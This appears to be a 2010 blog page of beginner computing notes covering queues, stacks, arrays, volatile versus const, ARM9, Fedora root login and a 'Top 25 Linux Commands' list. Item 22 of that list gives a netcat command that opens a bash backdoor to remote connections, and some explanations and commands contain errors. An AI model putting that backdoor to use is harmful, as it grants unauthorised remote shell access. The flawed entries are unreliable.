Chaitu Tech Bits
Showing posts with label basics. Show all posts
Showing posts with label basics. Show all posts

What is Queue? Where it will be use? what is the use of queue

Wednesday, December 15, 2010


Queue is a First-In-First-Out (FIFO) data structure. In a FIFO data structure, the first element added to the queue will be the first one to be removed.

Queues provide services in computer science, transport and operations research where various entities such as data, objects, persons, or events are stored and held to be processed later. In these contexts, the queue performs the function of a buffer.

Share/Bookmark

what is the stack where it is used ? what is the use of the stack


The stack is a place in the computer memory where all the variables that are declared and initialized before runtime are stored.
A stack is a last in, first out (LIFO) data structure.
The push operation adds to the top of the stack, hiding any items already on the stack, or initializing the stack if it is empty. The pop operation removes an item from the top of the stack, and returns this value to the caller. A pop either reveals previously concealed items, or results in an empty stack.

Stack is used in

1. Expression evaluation and syntax parsing

Many compilers use a stack Expression evaluation before translating into low level code.

Example (general)


Share/Bookmark

what is difference between array and stack and queue ? what is


You can think of a queue like a line at the bank. The first person to get there will get to the teller first. If a bunch of people come while all the tellers are busy, they stand in line in the order in which they arrived. That is to say, new people (items) are added to the end of the line and the first person in line is the only one who is called to a teller. In real life this is known as "first come, first served." In programming terms it's known as first-in-first-out, or FIFO.

You can think of a stack like a deck of cards. You can put down cards into a pile on your table one at a time, but if you want to draw cards, you can only draw them from the top of the deck one at a time. Unlike a queue, the first card to be put down is the last card to be used. This is known as first-in-last-out, or FILO (also called LIFO for last-in-first-out). 


A queue is a first-in-first-out data structure. When you add an element to the queue you are adding it to the end, and when you remove an element you are removing it from the beginning.

A stack is a first-in-last-out data structure. When you add an element to a stack you are adding it to the end, and when you remove an element you are removing it from the end.



An array is data structure (type of memory layout) that stores a collection of individual values that are of the same data type. Arrays are useful because instead of having to separately store related information in different variables (named memory locations), you can store them—as a collection—in just one variable. It is more efficient for a program to access and process the information in an array, than it is to deal with many separate variables.

All of the items placed into an array are automatically stored in adjacent memory locations. As the program retrieves the value of each item (or "element") of an array, it simply moves from one memory location to the very next—in a sequential manner. It doesn't have to keep jumping around to widely scattered memory locations in order to retrieve each item's value.

Imagine if you had to store—and later retrieve—the names of all of the registered voters in your city. You could create and name hundreds of thousands of distinct variable names to store the information. That would scatter hundreds of thousands of names all over memory. An alternative is to simply create one variable that can will store the same information, but in sequential memory locations.

Share/Bookmark

what is difference between array and stack? what is array what is stack



            Briefly, there are two main differences between an array and a stack.
            1)An array can be multi-dimensional, while a stack is strictly one-dimensional.
            2)An array allows direct access to any of its elements, whereas with a stack, only  

the 'top' element is directly accessible; to access other elements of a stack, you      
must go through them in order, until you get to the one you want.
           
            Another difference is
            3)Array size is fixed where as stack can grow.

Share/Bookmark

Difference between volatile and const?( constant)

CONSTANT  is used to declare the constants i.e the value of this data type will not be changed through out the program execution.

VOLATILE, Normal this data type will be used to declare the variable for timer count & interrupt status because the value of this specific types can't be expected any time

suggestions welcome
Share/Bookmark

ARM9 Processor Introduction with video Lecutre

Friday, December 3, 2010

 The ARM is a 32-bit reduced instruction set computer (RISC) instruction set architecture (ISA) developed by ARM Holdings. It was known as the Advanced RISC Machine, and before that as the Acorn RISC Machine

Basic ARM9 Structure :-







Share/Bookmark

How To Enable Root Login at Graphical in Fedora 13

Tuesday, November 23, 2010

In this howto i will describe how to let root user to Graphical Login in Fedora 13. From Fedora 10 it was disable by default to let it login from GUI.We will be configure pam authentication files gdm and gdm-password respectively.



Share/Bookmark

what is the Benefits of browsing the Linux source code ?? how to open linux kernel

Going through the Linux source code is like picking the technical nuances of Linux first hand. Without an iota of doubt Linux within it has all the concepts and skills that a system programmer needs, I figured this out the hard way. Programming excellence can be achieved through ripping the source apart and diagnosing it. Let me list you some direct benefits ushered by source code reading

First hand information

You can read from books, get information from the Internet or by other means but nothing like knowing it first hand by exploring the Linux source code. This rich treasure of GNU/C code has got everything that you are looking for. This information leaves absolutely no space for any doubts as this is the final original source of information and there are zero alternates to this. As you comprehend these pieces of code it’s like going through the minds of the people who have actually written it. And this experience and the kind of learning involved will never be found anywhere.

Improve your conceptual clarity

As you follow the flow of the code, the concepts get unfolded and the maze starts to show you the way. Personally I go through this process whenever I’m tied in two minds on a particular OS concept. It cuts down the need for looking for other sources; however this needs some real experience. If you do this exercise regularly then I’m sure cracking or understanding any technical concept, even though it is not related to an OS becomes a piece of cake for you

Efficient code writing style and skill

Just look and appreciate the style and standards followed by this open source marvel that has stood the time and taken the brunt of real time performance and emerged as the best open project ever. The coding standards are so defined and stable that all these varied pieces of code contributions from all over the world has never brought this thing down. So one thing that you undoubtedly get is the skill to code like a top class pro.

Rock solid confidence

This requires serious mention, when I first started off with the initial versions of the Linux kernel the best thing that I got was a truck load of confidence. This single benefit was the sole reason for all my success as a programmer and as a trainer. Lack of confidence can even hinder the growth of a technically sound individual. So get that confidence right now with some useful source code reading

Increased adaptability to change

If you digest the design and frameworks on which these operating systems are build and if you go back to the previous versions of Linux and track down the progression you will no doubt heighten your clarity and grip on the subject. You will also become most adaptable to future changes and you can even predict technological changes, which may often become real. So this skill will equip you with the flexibility and adaptability to changes

Final word

I for sure know that this is a small list of benefits that source code browsing can bring to you. If you have done this before then I request you to add on to this list of benefit through your valuable feedback

credits goes to Raghu Bhardwj 

Share/Bookmark

TOP 25 LINUX Commands

TOP 25 LINUX Commands

1.Search for all files modified in the last N days containing a specific text in their name

find DIR -mtime -N -name "*TEXT*"

2.Twitter update from terminal

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

3.Determine which processes use the most memory

ps aux | sort -nk 4 | tail

or

ps aux | sort -nk 4 | head

4.Find removed (deleted) files still in use via /proc:

find -L /proc/*/fd -links 0 2>/dev/null

5.Display the username which is currently logged in

whoami

6.Check if network cable is plugged in and working correctly:

mii-tool eth0

7.Show date using format modifiers

date +"%H:%M:%S"

8. Migrate existing Ext3 filesystems to Ext4:

tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

9.Show info about a specific user:

finger $USER

10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:

unrar p -inul foo.rar|mplayer -

11.Show disk usage separately for each partition

df -h

df -B 1K

12.List programs with open ports and connections:

netstat -ntauple

or

netstat -lnp

13.Show which modules are loaded

lsmod

14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:

ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

15.Add or remove a module to/from the Linux kernel
Insert a module:

modprobe MODULE

Remove a module:

modprobe -r MODULE

16.Find files larger than 1 GB, everywhere

find / -type -f -size +1000000000c

17. All the startup services, and sort alphabetically

sudo chkconfig --list | sort | less

18.Search for a file using locate

locate FILENAME

19.Kill a process that is locking a file:

fuser -k filename

20.Change the encoding of a text file:

iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename

21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:

killall -STOP -m firefox

22.Create a backdoor on a machine to allow remote connection to bash:

nc -vv -l -p 1234 -e /bin/bash

23.Launch a listener on the machine :

nc 192.168.0.1 1234

24.Print file name of terminal on standard input:

tty

25.Strip directory and suffix from filenames:

basename NAME
Share/Bookmark

Linux basic commands


Linux basic commands






cal    :  Command to see calender for any specific month or a complete year


date   :  displays the current date


echo   :  Print message on the terminal


bc     :  A text based calculator


xcalc  :  is graphical based calculator


passwd :  allows you to change your password


who    :  tells you the users currently logged on to system


man    :  displays the documentation for a command


chmod  :  Changing the permissions of the file


chown  :  command is used for changing the ownership and group of a file


rm     :  used to delete files


mkdir  :  used to create directory


rmdir  :  used to remove directory


cp     :  copy the files


mv     :  moving files its like a cut command


cat    :  used to display content of a small file


tac    :  used to display content of a file in reverse manner


wc     :  used to count words in a file


cmp    :  used to compare files


comm   :  it displays the common between to files


gzip   :  used to compress the file


gunzip :  used to uncompress the file


tar    :  used to create archive


zip    :  used to archiving as well as compressing


head   :  displays the top of the file


tail   :  displays bottom of the file


sort   :  ordering a file


grep   :  search for a pattern
Share/Bookmark

Related Posts Plugin for WordPress, Blogger...